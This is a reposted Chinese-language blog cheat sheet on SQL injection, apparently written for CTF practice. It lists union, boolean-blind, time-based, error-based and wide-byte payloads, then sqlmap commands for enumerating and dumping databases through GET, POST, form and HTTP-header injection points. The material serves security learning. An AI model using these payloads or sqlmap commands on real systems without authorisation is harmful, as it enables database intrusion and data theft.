Sql注入总结,Sqlmap使用。
Sql注入总结
sql注入类型
联合查询
1、利用闭合变量报错测试注入点, ?id=1’
这样说明存在单引号闭合注入
2、是否存在注入点,用and语句测试?id=1’ and 1=2# ?id=1’ and 1=1#
3、猜测字段?id=1’ order by 3%23
4、找到页面中数据输入点?id=-1’ union select 1,2,3%23
5、查数据库?id=1’ union select 1,schema_name from information_schema.schemata,3%23
6、查表?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=database()%23
7、查字段?id=-1’ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='表名'%23
8、查数据?id=-1’ union select 1,flag,3 from 数据库.表名%23
布尔型
1、判断是否存在注入点?id=1’ and 1=1%23
(返回ture页面)?id=1’ and 1=2%23
(返回false页面)
存在布尔型盲注
2、查数据库长度id=1’ and (length(database()))>7%23
返回ture页面说明长度大于7id=1’ and (length(database()))>20%23
返回false页面说明长度小于20
利用二分法最终确定数据库长度
如果id=1’ and (length(database()))=12%23 返回ture说明数据库长度为12
3、查数据库?id=1’and ascii(substr(database(),2,1))>114%23
(对查询的数据取第一位判断)
substr(a,b,c)是截取字符函数。a=截取对象 b=截取的位数 c=截取的个数
substr(database(),1,1)是取出数据库的第一位的值。
4、查表?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)))>130%23
(利用二分法,ascii为ascii码,例如97=‘a’)
7、查列:?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1)))>0%23
(如果报错可以加limit 0,1)
8、查字段?id=1’ and length((select username from 数据库.表名 limit 0,1))>0%23
延时型
是由返回响应的时间判断的。利用此函数sleep()与if()
判断:?id=1’ and sleep(5)%23
响应时间5秒存在延时注入
查数据库?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23
其他操作语法与布尔型一样。
报错型注入
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等
1.直接使用报错:' union select 1,count(*),concat('/',(select database()),'/',floor(rand(0)*2))a from information_schema.columns group by a--+
这里格式貌似几乎固定,相当于这样输就会出错的bug,count()用来返回有多少条数据这里固定写法,中间select后面是我们要获得的信息,
floor(rand(0)*2)也是固定写法,floor用来取不大于括号里的最大整数,比如1.5取1,后面的a和最后的a只要是相等的字符就可以,注意返回值不能超过一行,如果多行数据加limit
2.利用xpath函数-extractvalue报错
payload:' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
这也是一种类似bug的固定写法,extractvalue,concat里面第一个必须是0x7e,后面是要查的内容,concat里面可以放很多参数(参见目录),所以可以多查很多数据,如?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e,user()))--+
3.利用xpath函数—updatexml报错:
payload:' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
与extractvalue同理,这里不再赘述
宽字节注入
测试
?id=1’ and 1=2%23 没反应
?id=1’ %df’ and 1=2%23 页面返回假。说明存在宽字节注入
后面与前面语法一样。不过都得?id=1’ %df’ 有%df进行注入
sqlmap使用
get方式
查所有数据库Sqlmap -u “url” --dbs
当前数据库Sqlmap -u “url” --current-db
表Sqlmap -u “url” -D 数据库 --tables
列Sqlmap -u “url” -D 数据库 -T 表名 --columns
字段Sqlmap -u “url” -D 数据库 -T 表名 -C 列名1,列名2 --dump
post方式
1.先用burp抓包,如下
将数据包copy to file
保存到"C:\Users\Administrator\Desktop\1.txt"
2.python sqlmap.py -r "请求包的路径" -p "注入点"
查所有数据库Sqlmap -r “c://windows/web/1.txt” -p id --dbs (-r为保存的txt文件路径,-p为存在注入的参数,这里是id)
当前数据库Sqlmap -r “c://windows/web/1.txt” -p id --current-db
查所有表Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 --tables
列Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 -T 表名 --columns
字段Sqlmap -r “c://windows/web/1.txt” -p id -D 数据库 -T 表名 -C 列名1,列名2 --dump
第二种方法
如post id=1存在注入
sqlmap -u“url”–data=“id=1”
第三种方法
在表单中,例如登陆页面,如果不知道那个参数存在注入
sqlmap.py -u “url” --forms
然后一直点y即可。
http头部注入
referrer头
sqlmap -u “url” --dbs --level 3
(可能要跑很久
host头
sqlmap -u “url” --dbs --level 5
user-agent
sqlmap -u “url” --user-agent --dbs --level 3
宽字节注入
sqlmap -u "url?id=1%df'"
本文转载自:https://www.cnblogs.com/pikachuu/p/12349692.html